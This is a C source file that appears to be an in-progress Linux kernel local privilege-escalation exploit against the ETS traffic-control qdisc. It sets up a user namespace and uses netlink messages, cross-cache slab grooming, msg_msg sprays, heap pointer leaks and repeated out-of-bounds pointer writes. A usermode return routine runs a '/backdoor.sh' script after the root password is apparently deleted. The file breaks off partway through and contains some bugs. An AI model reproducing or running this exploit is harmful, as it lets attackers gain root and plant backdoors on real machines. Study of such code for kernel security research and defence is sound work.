JezK

Edit File: exp_2.c

#include <stdarg.h>
#include <time.h>
#define __USE_GNU 1
#define _GNU_SOURCE
#include <stdio.h>
#include <assert.h>
#include <string.h>
#include <fcntl.h>
#include <linux/kernel.h>
#include <linux/netlink.h>
#include <linux/sock_diag.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <sched.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <stdbool.h>
#include <errno.h>
#include <net/if.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <linux/if_alg.h>

void set_quant(uint32_t quant, int sock_fd, int idx,
               struct sockaddr_nl *dest_addr);
uint32_t get_quant(int sock_fd, int idx, struct sockaddr_nl *dest_addr,
                   int clid, int handle, int parent);
uint32_t dump_qdisc(uint64_t *kbase, uint64_t *k2kleak);
void do_ptr_write(uint32_t idx, uint32_t dst, int do_reset, int sock_to_use,
                  struct sockaddr_nl *dst_addr);
uint32_t del_qdisc(int sock_fd, int idx, struct sockaddr_nl *dest_addr,
                   int hnd);
int create_qdisc(int sock_fd, int idx, struct sockaddr_nl *dest_addr, int hnd,
                 int parent_hnd);

// for 2k
#define PARTIAL_LIST_SZ 24
#define OBJ_PER_SLAB 16
#define TOTAL_ALLOC (OBJ_PER_SLAB * (PARTIAL_LIST_SZ + 1))
#define SOCK_SZ 0x4d0
#define PRE (OBJ_PER_SLAB - 1)
#define POST (OBJ_PER_SLAB + 1)
#define GARBAGE (TOTAL_ALLOC)
#define FLUSH 0x12c

#define NLA_F_NESTED (1 << 15)

#define SOCK_SPRAY ((OBJ_PER_SLAB * PARTIAL_LIST_SZ) * 2)
#define QID1_NUM (EVICT_N + PRE + POST + 1)
#define EVICT_N (OBJ_PER_SLAB * 0x400)
#define MSGSZ 48
#define MSG_COPY 040000
#define PAGESIZE 0x1000
#define MSGMSGSZ PAGESIZE - 48
#define MSGSEGSZ PAGESIZE - 8
//  This is ruia's fault
#define MSG_SPRAY 9999

#define MAX_K2K_SZ 0x800
#define COMP_SZ_MAX (MSGMSGSZ)
#define NEWCOMPSZ (COMP_SZ_MAX + 0x100)

#define MAX_PAYLOAD 1024   /* maximum payload size*/
#define NLM_F_REQUEST 0x01 /* It is request message. 	*/
#define NLM_F_CREATE 0x400 /* Create, if it does not exist	*/
#define NLMSG_MIN_TYPE 0x10
#define TC_H_MAJ_MASK (0xFFFF0000U)

struct msg_msgseg {
  struct msg_msgseg *next;
  /* the next part of the message follows immediately */
};

struct msg_msg {
  void *lnext, *lprev;
  long m_type;
  size_t m_ts; /* message text size */
  struct msg_msgseg *next;
  void *security;
  /* the actual message follows immediately */
};

char *recv_msg(int qid, int msgsz, int copy_msg, int type) {

char *memdmp = NULL;
  // Mysterious +0x10 for no reason
  memdmp = malloc(msgsz + 0x10);

if (msgrcv(qid, memdmp, msgsz, type, flags) < 0) {
    perror("msgrcv lol");
    free(memdmp);
    exit(-1);
  }

return memdmp;
}

// This to make it painfully obvious what we r doing
char *recv_msg_CPY(int qid, int msgsz, int copy_msg, int type) {
  return recv_msg(qid, msgsz, 1, type);
}
void dumph(unsigned char *data, uint32_t len, char sep) {
  for (int i = 0; i < len; i++) {

if (data[i] < 0x10)
      printf("0");

printf("%hhx%c", data[i], sep);

if (i % 16 == 0)
      printf("\n");
  }
  printf("\n");
}

// https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-5345_lts_mitigation/exploit/lts-6.1.52/exploit.c
bool write_to_file(const char *path, const char *data_fmt, ...) {
  char *buf = NULL;
  va_list args;
  va_start(args, data_fmt);
  if (vasprintf(&buf, data_fmt, args) < 0) {
    perror("vasprintf");
    return false;
  }

va_end(args);
  int fd = open(path, O_WRONLY);
  if (fd < 0) {
    fprintf(stderr, "open %s for writing: %s\n", path, strerror(errno));
    free(buf);
    return false;
  }

write(fd, buf, strlen(buf));
  close(fd);
  free(buf);
  return true;
}
bool setup_namespace(void) {
  int real_uid = getuid();
  int real_gid = getgid();

if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET) < 0) {
    perror("unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC)");
    return false;
  }

if (!write_to_file("/proc/self/setgroups", "deny"))
    return false;

if (!write_to_file("/proc/self/uid_map", "0 %d 1\n", real_uid))
    return false;

if (!write_to_file("/proc/self/gid_map", "0 %d 1\n", real_gid))
    return false;

return true;
}

// Back to my stuff - old code that aint needed.
// int make_net_ns() {
//  int ns_fd = 0;
//
//  if (unshare(CLONE_NEWNET) < 0) {
//    perror("unshare");
//    exit(-1);
//  }
//  return ns_fd;
//}

int msg_spray_nodiag(int msgsz, char *msgtxt, int spray_n, int *qstore) {

int ret = -1, qid;
  socklen_t len = 0;
  socklen_t lens[spray_n];
  char mbuf[msgsz];
  // struct msgbuf *msg = malloc(msgsz);
  struct msgbuf *msg = (struct msgbuf *)mbuf;
  msgsz -= (MSGSZ);
  memset(msg->mtext, 0, msgsz);
  memcpy(msg->mtext, msgtxt, msgsz);
  for (int i = 0; i < spray_n; i++) {
    msg->mtype = i + 1;
    qid = qstore[i];
    if (msgsnd(qid, msg, msgsz, 0) < 0) {
      perror("msgsnd lol");
      ret = -1;
      exit(-1);
    }
  }
  return ret;
}

int send_msg(int qid, int msgsz, char *msgtxt, int type) {

int ret = 0;
  //  Subtract the size of a given msg_msg struct. We assume the size of the
  //  struct will be included in the size i guess??? I guess it means we wont be
  //  making as many mistakes with the sizes then lol.
  struct msgbuf *msg = malloc(msgsz);
  msgsz -= (MSGSZ);
  memset(&msg->mtext, 0, msgsz);

// Has to be non-negative, but is not used by the send logic, so i just
  // initialise to 0.
  msg->mtype = type;
  memcpy(msg->mtext, msgtxt, msgsz);

if (msgsnd(qid, msg, msgsz, IPC_NOWAIT) < 0) {
    perror("msgsnd lol");
    ret = -1;
    exit(-1);
  }

free(msg);
  return ret;
}

// Taken from hoefler's sploit.
// Needed so we can guarantee our allocation stuff for cross cache happens in
// the same cpu kernel thread and stuff. Specifically when we have pages
// returned to the percpu page freelist we want it accessible on our current
// cpu. See https://haehyun.github.io/papers/playing-for-keaps-22-sec.pdf.
void pin_cpu(int cpu) {
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(cpu, &set);
  if (sched_setaffinity(0, sizeof(set), &set) == -1) {
    perror("sched_setaffinity");
    exit(1);
  }
}

// Old func used for pausing and stuff
void waitp(char *prompt) {
  puts(prompt);
  while ((getchar() != 'X')) {
    continue;
  }
}

// Binding and init
int setup_rtnet(struct sockaddr_nl *src_addr, struct sockaddr_nl *dest_addr) {

int sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  if (sock_fd < 0) {
    return -1;
  }

memset(src_addr, 0, sizeof(*src_addr));
  src_addr->nl_family = AF_NETLINK;
  src_addr->nl_pid = getpid(); /* self pid */

if (bind(sock_fd, (struct sockaddr *)src_addr, sizeof(*src_addr)) < 0) {
    perror("setup_rtnet bind");
    exit(-1);
  }

memset(dest_addr, 0, sizeof(*dest_addr));
  dest_addr->nl_family = AF_NETLINK;
  dest_addr->nl_pid = 0;    /* For Linux Kernel */
  dest_addr->nl_groups = 0; /* unicast */
  return sock_fd;
}

// Idk why this is in its own function, but it gonna stay this way now.
int do_cross_cache_qdisc(uint32_t *quant, int idx) {

// How do we ensure that we have several "clean" cache boundaries?
  // ANS: We need some "fluff" objects which guarantee that our socket lands in
  // a slab we have complete control over. We have pre allocations to pad it
  // into the slab, and post allocations which ensure we control the rest of the
  // slab.
  int sockets[TOTAL_ALLOC] = {0};
  uint64_t top = 0xffff8880;
  top <<= 32;
  int junk[TOTAL_ALLOC] = {0};
  int socks_alloc_new_slab[OBJ_PER_SLAB + 1] = {0};
  int socks_victim_slab[OBJ_PER_SLAB] = {0};
  struct sockaddr_nl src_addr, dest_addr;
  struct sockaddr_nl src_addr1, dest_addr1;
  int ret = 0;

// Alloc and subsequently release our qdisc
  // const char *cmd = "tc qdisc add dev lo root handle 1: ets bands 8 "
  //                  "priomap 7 6 5 4 3 2 1 0; ip link set dev lo up";

int sock_fd = setup_rtnet(&src_addr, &dest_addr);
  //  This pre-allocation will be enough to get a new slab which we entirely
  //  control
  //
  //  Im using PF_NETLINK as its allocated in normal kmalloc-2k, whereas others
  //  are not. Just the first kind i found that was.
  for (int i = 0; i < TOTAL_ALLOC; i++) {
    junk[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  }

struct sockaddr_vm addr = {0};

// Step 1: Alloc target object with pre and post allocations

int pre_post[PRE + POST] = {0};

for (int i = 0; i < PRE; i++) {
    pre_post[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  }

//  Allocate our qdisc here
  create_qdisc(sock_fd, idx, &dest_addr, 1, TC_H_ROOT);
  system("ip link set dev lo up");
  sleep(1);
  // We need to leak stuff here
  *quant = get_quant(sock_fd, idx, &dest_addr, 0, 0, TC_H_ROOT);
  printf("0x%lx\n", top | (*quant - 0x180));

//   As well as padding out the rest of the allocation, this also serves the
  //   purpose of setting a new active slab.
  for (int i = PRE; i < PRE + POST; i++) {
    pre_post[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  }

//  The qdisc free takes a lil bit from what ive observed
  del_qdisc(sock_fd, idx, &dest_addr, 1);
  sleep(10);
  // sleep(6);
  puts("get new slab");

// Free other sockets in victime slab
  // Adds our slab to partial list. This is the last time out object gets freed.
  puts("deplete victim slab");

// Free one obj per slab to overflow partial list
  for (int i = 0; i < TOTAL_ALLOC; i += OBJ_PER_SLAB) {
    close(junk[i]);
  }

for (int i = 0; i < PRE + POST; i++) {
    close(pre_post[i]);
  }

// wait("ovf partial list");
  for (int i = 0; i < TOTAL_ALLOC; i++) {
    close(junk[i]);
  }
  //  At this point we shouldve freed the page. Indeed, this works INSIDE QEMU.
  //  Most of the time - i believe - we will need padding to have a chance of
  //  this actually working tho. Now we can spray the target object and reclaim
  //  the page. A socket is about 0x4c0
  //
  close(sock_fd);
  // This sleep improves reliability massively
  sleep(3);
  return 0;
}

// Use the oob access to SET the quant value, OR in our case the prev ptr of the
// active list on the sch.
void set_quant(uint32_t quant, int sock_fd, int idx,
               struct sockaddr_nl *dest_addr) {
  struct nlmsghdr *nlh = NULL;
  struct iovec iov;
  struct msghdr msg;
  memset(&msg, 0, sizeof(msg));
  nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
  memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
  nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
  nlh->nlmsg_pid = getpid();
  nlh->nlmsg_type = RTM_NEWTCLASS;
  nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ECHO;
  struct tcmsg tc;
  memset(&tc, 0, sizeof(tc));
  char buf[0x1000] = {0};
  struct nlattr *attr = (struct nlattr *)buf;
  memset(attr, 0, sizeof(*attr));
  attr->nla_type = TCA_OPTIONS | NLA_F_NESTED;
  attr->nla_len = NLA_HDRLEN * 3;
  uint32_t clid = 0x0;
  // Handle is formatted with qdisc id at start, 1 *should* be root qdisc.
  tc.tcm_handle = (0x1 << 16) | clid;
  tc.tcm_parent = TC_H_ROOT;
  tc.tcm_ifindex = idx;
  memcpy(NLMSG_DATA(nlh), &tc, sizeof(tc));
  // Copy in our attrs
  memcpy(NLMSG_DATA(nlh) + NLMSG_ALIGN(sizeof(tc)), attr, sizeof(*attr));
  attr->nla_type = TCA_ETS_QUANTA_BAND;
  attr->nla_len = NLA_HDRLEN * 2;
  memcpy(&buf[sizeof(*attr)], &quant, sizeof(quant));
  memcpy(NLMSG_DATA(nlh) + NLMSG_ALIGN(sizeof(tc)) + sizeof(*attr), attr,
         sizeof(*attr) + sizeof(uint32_t));

iov.iov_base = (void *)nlh;
  iov.iov_len = nlh->nlmsg_len;
  msg.msg_name = (void *)dest_addr;
  msg.msg_namelen = sizeof(*dest_addr);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

printf("Sending message to kernel\n");
  if (sendmsg(sock_fd, &msg, 0) < 0) {
    perror("set_quant sendmsg");
    exit(-1);
  }
  free(nlh);
}

uint32_t get_quant(int sock_fd, int idx, struct sockaddr_nl *dest_addr,
                   int clid, int handle, int parent) {
  int quant = 0x41414141;
  struct nlmsghdr *nlh = NULL;
  struct iovec iov = {0};
  struct msghdr msg = {0};

nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
  memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
  nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
  nlh->nlmsg_pid = getpid();
  nlh->nlmsg_type = RTM_NEWTCLASS;
  nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ECHO;
  struct tcmsg tc;
  memset(&tc, 0, sizeof(tc));
  char buf[0x1000] = {0};
  struct nlattr *attr = (struct nlattr *)buf;
  memset(attr, 0, sizeof(*attr));
  attr->nla_type = TCA_OPTIONS | NLA_F_NESTED;
  // Truncated so we can avoid setting quant value for the class
  attr->nla_len = NLA_HDRLEN * 1;
  if (!clid)
    clid = 0x41;
  if (!handle)
    handle = 1;
  // Handle is formatted with qdisc id at start, 1 *should* be root qdisc.
  tc.tcm_handle = (handle << 16) | clid;
  tc.tcm_parent = parent;
  tc.tcm_ifindex = idx;
  // g_parent = TC_H_ROOT;
  memcpy(NLMSG_DATA(nlh), &tc, sizeof(tc));
  // Copy in our attrs
  memcpy(NLMSG_DATA(nlh) + NLMSG_ALIGN(sizeof(tc)), attr, sizeof(*attr));
  attr->nla_type = TCA_ETS_UNSPEC;
  attr->nla_len = NLA_HDRLEN * 1;
  memcpy(&buf[sizeof(*attr)], &quant, sizeof(quant));
  memcpy(NLMSG_DATA(nlh) + NLMSG_ALIGN(sizeof(tc)) + sizeof(*attr), attr,
         sizeof(*attr) + sizeof(uint32_t));

iov.iov_base = (void *)nlh;
  iov.iov_len = nlh->nlmsg_len;
  msg.msg_name = (void *)dest_addr;
  msg.msg_namelen = sizeof(*dest_addr);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

printf("Sending message to kernel\n");
  if (sendmsg(sock_fd, &msg, 0) < 0) {
    perror("get_quant recvmsg");
    exit(-1);
  }

iov.iov_base = (void *)nlh;
  iov.iov_len = nlh->nlmsg_len;
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_name = (void *)dest_addr;
  msg.msg_namelen = sizeof(*dest_addr);

if (recvmsg(sock_fd, &msg, 0) < 0) {
    perror("get_quant recvmsg");
    exit(-1);
  }
  printf("Received message payload: %s\n", NLMSG_DATA(nlh));

int qval = *(int *)(&((char *)msg.msg_iov->iov_base)[48 + 4]);

printf("Quant: 0x%x\n", qval);

dumph(&((char *)msg.msg_iov->iov_base)[0], 0x60, ' ');

free(nlh);
  return qval;
}

uint32_t del_qdisc(int sock_fd, int idx, struct sockaddr_nl *dest_addr,
                   int hnd) {
  struct nlmsghdr *nlh = NULL;
  struct iovec iov = {0};
  struct msghdr msg = {0};
  char buf[1024] = {0};

struct sockaddr_nl dest_addr_loc = {0};
  struct sockaddr_nl src_addr_loc = {0};

int oursock = 0;
  if (!sock_fd) {
    oursock = 1;
    // this doesnt work u need to set up rtnetlink
    dest_addr = &dest_addr_loc;
    sock_fd = setup_rtnet(&src_addr_loc, dest_addr);
  }

struct tcmsg tc = {0};
  nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
  memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
  nlh->nlmsg_len = NLMSG_LENGTH(sizeof(tc));
  nlh->nlmsg_pid = getpid();
  nlh->nlmsg_type = RTM_DELQDISC;
  nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
  nlh->nlmsg_seq = 1;
  memset(&tc, 0, sizeof(tc));

// Handle is formatted with qdisc id at start, 1 *should* be root qdisc.
  tc.tcm_handle = (hnd << 16) | 0;
  tc.tcm_parent = TC_H_ROOT;
  tc.tcm_ifindex = idx;
  memcpy(NLMSG_DATA(nlh), &tc, sizeof(tc));

iov.iov_base = (void *)nlh;
  iov.iov_len = nlh->nlmsg_len;
  msg.msg_name = (void *)dest_addr;
  msg.msg_namelen = sizeof(*dest_addr);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

printf("Sending message to kernel\n");
  if (sendmsg(sock_fd, &msg, 0) < 0) {
    perror("sendmsg");
    exit(-1);
  }
  printf("Waiting for message from kernel\n");

iov.iov_base = buf;
  iov.iov_len = sizeof(buf);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_name = (void *)dest_addr;
  msg.msg_namelen = sizeof(*dest_addr);

if (recvmsg(sock_fd, &msg, 0) < 0) {
    perror("recvmsg");
    exit(-1);
  }
  printf("Received message payload: %s\n", NLMSG_DATA(nlh));

dumph(&((char *)msg.msg_iov->iov_base)[0], 0x10, ' ');

if (oursock)
    close(sock_fd);

free(nlh);
  // Gotta remember that we do reset the handle val
  return 0;
}
int create_qdisc(int sock_fd, int idx, struct sockaddr_nl *dest_addr, int hnd,
                 int parent_hnd) {
  struct nlmsghdr *nlh = NULL;
  struct iovec iov;
  struct msghdr msg;
  uint16_t totlen = 0;

memset(&msg, 0, sizeof(msg));
  nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(MAX_PAYLOAD));
  memset(nlh, 0, NLMSG_SPACE(MAX_PAYLOAD));
  nlh->nlmsg_len = NLMSG_SPACE(MAX_PAYLOAD);
  // nlh->nlmsg_len = sizeof(struct nlmsghdr) - 1;
  nlh->nlmsg_pid = getpid();
  nlh->nlmsg_type = RTM_NEWQDISC;
  // Somehow removing NLM_F_ECHO fixes leaks somewhat.
  nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE; // | NLM_F_ECHO;
  struct tcmsg tc;
  memset(&tc, 0, sizeof(tc));
  // Handle is formatted with qdisc id at start, 1 *should* be root qdisc.
  uint32_t clid = 0x0;
  tc.tcm_family = TCA_UNSPEC;
  tc.tcm_handle = (hnd << 16) | clid;
  tc.tcm_parent = parent_hnd;
  tc.tcm_ifindex = idx;
  // g_parent = TC_H_ROOT;
  memcpy(NLMSG_DATA(nlh), &tc, sizeof(tc));

char buf[0x300] = {0};
  struct nlattr *attr = (struct nlattr *)buf;
  attr->nla_type = TCA_KIND;
  attr->nla_len = NLA_HDRLEN + 3;
  strcpy(&attr[1], "ets");
  attr = (struct nlattr *)((uint8_t *)(attr) + NLA_ALIGN(attr->nla_len));
  attr->nla_type = TCA_OPTIONS | NLA_F_NESTED;
  // Will be filled in later
  attr->nla_len = -1;
  struct nlattr *options = attr;
  attr = &attr[1];

// Copy in our attrs
  attr->nla_type = TCA_ETS_NBANDS;
  attr->nla_len = NLA_HDRLEN + 1;
  *(uint8_t *)(&attr[1]) = 8;
  totlen += NLA_ALIGN(sizeof(*attr) + attr->nla_len);
  attr = (struct nlattr *)((uint8_t *)(attr) + NLA_ALIGN(attr->nla_len));

attr->nla_type = TCA_ETS_PRIOMAP | NLA_F_NESTED;
  attr->nla_len = NLA_HDRLEN;
  struct nlattr *priomap = attr;
  attr = &attr[1];

int start_band = 7;
  while (start_band >= 0) {
    attr->nla_type = TCA_ETS_PRIOMAP_BAND;
    attr->nla_len = NLA_HDRLEN + 1;
    *(uint8_t *)(&attr[1]) = start_band;
    priomap->nla_len += NLA_ALIGN(attr->nla_len);
    attr = (struct nlattr *)((uint8_t *)(attr) + NLA_ALIGN(attr->nla_len));
    start_band--;
  }
  totlen += NLA_ALIGN(priomap->nla_len);
  options->nla_len = NLA_ALIGN(totlen);
  memcpy(NLMSG_DATA(nlh) + NLMSG_ALIGN(sizeof(tc)), buf, sizeof(buf));
  iov.iov_base = (void *)nlh;
  iov.iov_len = nlh->nlmsg_len;
  msg.msg_name = (void *)dest_addr;
  msg.msg_namelen = sizeof(*dest_addr);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;

printf("Sending message to kernel\n");
  if (sendmsg(sock_fd, &msg, 0) < 0) {
    perror("create_qdisc sendmsg");
    exit(-1);
  }
  free(nlh);

return 0;
}

// https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/kpti_with_trampoline.c
unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state() {
  __asm__(".intel_syntax noprefix;"
          "mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          ".att_syntax;");
  puts("[*] Saved state");
}

void retfunc() {
  puts("Back in usermode yayyy");

// https://theori.io/blog/reviving-the-modprobe-path-technique-overcoming-search-binary-handler-patch
  struct sockaddr_alg sa;
  int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
  if (alg_fd < 0) {
    perror("socket(AF_ALG) failed");
    exit(-1);
  }

memset(&sa, 0, sizeof(sa));
  sa.salg_family = AF_ALG;
  // Thx theorio
  strcpy((char *)sa.salg_type, "V4bel"); // dummy string
  bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

// Should've deleted the root password atp so we gud
  system("/backdoor.sh");
  exit(0);
}
// Just send a packet to localhost
void trigger_write() {
  int s = socket(AF_INET, SOCK_DGRAM, 0);
  struct sockaddr_in saddr = {0};
  saddr.sin_family = AF_INET;
  saddr.sin_port = 1234;
  inet_pton(AF_INET, "127.0.0.1", &saddr.sin_addr);
  sendto(s, "lol", 3, 0, &saddr, sizeof(saddr));
  close(s);
}

// Write the ptr somewhere in slabs
int sock_to_use = 0;
struct sockaddr_nl *dst_addr_glb = NULL;
void do_ptr_write(uint32_t idx, uint32_t dst, int do_reset, int sock_to_use,
                  struct sockaddr_nl *dst_addr) {
  int ret;
  struct sockaddr_nl sdst = {0};
  struct sockaddr_nl src_addr, *dest_addr = &sdst;
  int sock_fd = 0;
  if (!sock_to_use) {
    sock_fd = setup_rtnet(&src_addr, dest_addr);
    if (sock_fd < 0) {
      perror("ptr write setup_rtnet");
      exit(-1);
    }
  } else {
    sock_fd = sock_to_use;
    dest_addr = dst_addr_glb;
  }

set_quant(dst, sock_fd, idx, dest_addr);

if (!sock_to_use)
    close(sock_fd);
  sock_to_use = 0;
  dst_addr_glb = NULL;

trigger_write();

if (do_reset) {
    ret = system("ip link set dev lo down");
    ret = system("ip link set dev lo up");
  }
}

void make_slabs(int *msgq, int *pre_post, uint32_t num_alloc, uint32_t pre,
                uint32_t post) {
  // Make a bunch of 2k slabs for us to release later, hopefully will enable us
  // to release our qdisc slab from the percpu freelist Because the target is
  // also order-3, we must also release order 3. We should ideally call this
  // func BEFORE anything else in the program.

// msg_spray_nodiag(int msgsz, char *msgtxt, int spray_n, int *qstore)
  char mtext[MAX_K2K_SZ];
  memset(mtext, 0x88, MAX_K2K_SZ);
  msg_spray_nodiag(MAX_K2K_SZ, mtext, PRE, pre_post);

msg_spray_nodiag(MAX_K2K_SZ, mtext, num_alloc, msgq);
  msg_spray_nodiag(MAX_K2K_SZ, mtext, POST, &pre_post[PRE]);
}
void release_slabs(int *msgq, int *pre_post, uint32_t num_alloc, uint32_t pre,
                   uint32_t post) {
  // Does the inverse of the above.
  // Free one obj per slab to overflow partial list
  char *mrecv = NULL;
  for (int i = 0; i < num_alloc; i += OBJ_PER_SLAB) {
    mrecv = recv_msg(msgq[i], MAX_K2K_SZ, 0, 0);
    free(mrecv);
  }

for (int i = 0; i < pre + post; i++) {
    mrecv = recv_msg(pre_post[i], MAX_K2K_SZ, 0, 0);
    free(mrecv);
  }

for (int i = 0; i < num_alloc; i++) {
    if (!(i % OBJ_PER_SLAB))
      continue;
    mrecv = recv_msg(msgq[i], MAX_K2K_SZ, 0, 0);
    free(mrecv);
  }
}

void do_exp() {
  pin_cpu(0);

// Make the 2k slabs we will use later to evict
  int evict_slabs[EVICT_N] = {0};
  int *evict_slabs_p = NULL;
  int ev_pre_post[PRE + POST] = {0};
  int *ev_pre_post_ptr = NULL;

int qid[MSG_SPRAY] = {};
  for (int i = 0; i < MSG_SPRAY; i++) {
    qid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
    if (qid[i] < 0) {
      perror("msgget init");
      exit(-1);
    }
  }
  // Need to make sure this is more than MSG_SPRAY*2 lol.
  int qid1[MSG_SPRAY * 2] = {};
  for (int i = 0; i < MSG_SPRAY * 2; i++) {
    qid1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
    // qid[i] = msgget(i, IPC_CREAT | 0666);
    if (qid1[i] < 0) {
      perror("msgget init");
      exit(-1);
    }
  }
  evict_slabs_p = qid1;
  ev_pre_post_ptr = &evict_slabs_p[EVICT_N];
  make_slabs(evict_slabs_p, ev_pre_post_ptr, EVICT_N, PRE, POST);

uint64_t leak = 0;
  int sock_fd = 0;

uint64_t kbase = 0;
  uint64_t k2kleak = 0;
  // First im gonna spray a whole bunch of netlink socks
  // Hopefully this makes leaks a bit more consistent
  struct sockaddr_nl src_addr, dest_addr;
  struct nlmsghdr *nlh = NULL;
  struct iovec iov;
  int ret = 0; // system(cmd);

int idx = if_nametoindex("lo");
  if (!idx) {
    perror("if_nametoindex ");
  }
  printf("[!] lo idx: %d\n", idx);

uint32_t quant = 0;
  uint32_t tmp = quant;

//  Should allocate enought space for the socket struct
  //  For our msgmsg sploitation
  char msg[COMP_SZ_MAX] = {0};

// For testing quant leaks
  uint64_t top = 0xffff8880;

// Old commands, now we have functions that do most of this.
  // const char *cmd = "tc qdisc add dev lo root handle 1: ets bands 9 "
  //                   "priomap 7 6 5 4 3 2 1 4 7; ip link set dev lo up";
  // const char *cmd1 = "tc qdisc add dev lo parent 1:1 handle 2: ets bands 9 "
  //                    "priomap 7 6 5 4 3 2 1 4 7;";
  // const char *rm_cmd =
  //     "tc qdisc delete lo parent 1 handle 2; ip link set dev lo down";

// We want to free our qdisc, so that when we reclaim the slab during cross
  // cache we may get the same area as msg_msg. Meaning our leak is somewhat
  // reliable (gosh i know).

memset(msg, '\x41', COMP_SZ_MAX);

//  Now cross cache and spray msg
  do_cross_cache_qdisc(&quant, idx);

ret = msg_spray_nodiag(COMP_SZ_MAX, msg, MSG_SPRAY / 2, qid);

sock_fd = setup_rtnet(&src_addr, &dest_addr);
  // Spray some sockets here.......
  int junk[TOTAL_ALLOC] = {0};
  for (int i = 0; i < TOTAL_ALLOC; i++) {
    junk[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  }

struct sockaddr_vm addr = {0};

// Step 1: Alloc target object with pre and post allocations

int pre_post[PRE + POST] = {0};

for (int i = 0; i < PRE; i++) {
    pre_post[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
  }

printf("[*] Making another qdisc...\n");
  //  Allocate our qdisc here

create_qdisc(sock_fd, idx, &dest_addr, 1, TC_H_ROOT);
  system("ip link set dev lo up");
  sleep(1);
  // We need to leak stuff here

if (quant & 0xf00) {
    quant &= (~0xfff);
    quant += 0x180;
  }

uint32_t msg_dst = quant - 0x180 + 0x30;

do_ptr_write(idx, msg_dst, 1, sock_fd, &dest_addr);

// Write can be used multiple times as long as we turn on and off the qdisc
  // to empty the class packet queue, otherwise we cant enter the code inside
  // ets_qdisc_enqueue that writes the ptr.

char *mrecv;
  uint64_t qdisc_ptr_leak = 0;
  int i = 0;

memset(msg, '\xff', COMP_SZ_MAX);
  for (i = 0; i < MSG_SPRAY / 2; i++) {
    // Release and immediately reclaim the messages we are sending.
    // This means when we break we free the correct msg and can then
    // just grab it and do whatever we want with it being free.
    mrecv = recv_msg(qid[i], COMP_SZ_MAX, 0, 0);
    if (mrecv[8 + 1] != '\x41') {
      printf("[!] Found: %d....\n", i);
      dumph(mrecv + 8, 0x8, ' ');
      qdisc_ptr_leak = *(uint64_t *)(&mrecv[8]);
      break;
    }
    send_msg(qid[i], COMP_SZ_MAX, msg, i + 1);
    free(mrecv);
  }

if (!qdisc_ptr_leak) {
    // We will likely just crash here regardless lol
    printf("[!] Cross cache failed lol. Retry\n");
    return;
  }
  free(mrecv);

char msg1[NEWCOMPSZ];
  memset(msg1, '\x43', NEWCOMPSZ);
  send_msg(qid[i], NEWCOMPSZ, msg1, i);

printf("[*] Qdisc full heap ptr leak: %p\n", (void *)qdisc_ptr_leak);

//  Now we need even MOAR leaks i think. Should done this before probably.
  //  Hit the next ptr -- hopefully. This also smashes the type, so we need to
  //  kinda fill in the gaps
  do_ptr_write(idx, quant - 0x180 + 0x20, 1, sock_fd, &dest_addr);

// Now if we release the qdisc we will have a dangling ptr left in the next
  // seg ptr
  // int spray_socks_corruptable[0x200];
  int spray_socks_corruptable[0x150];

for (int i = 0;
       i < sizeof(spray_socks_corruptable) / sizeof(spray_socks_corruptable[0]);
       i++) {
    //  No worky, need better objects
    spray_socks_corruptable[i] = socket(PF_PACKET, SOCK_DGRAM, 0);
    if (spray_socks_corruptable[i] < 0) {
      perror("PF_PACKET spray");
      exit(-1);
    }
  }
  // Release, hopefully the qdisc will land somewhere in here
  for (int i = 0;
       i < sizeof(spray_socks_corruptable) / sizeof(spray_socks_corruptable[0]);
       i++) {
    close(spray_socks_corruptable[i]);
  }
  printf("[!] Trying to add a child qdisc fo an xtra read....\n");
  // Parent of 1:1
  // g_parent = ;
  int parent_hnd = (1 << 16) | 1;
  create_qdisc(sock_fd, idx, &dest_addr, 2, parent_hnd);
  sleep(1);
  close(sock_fd);
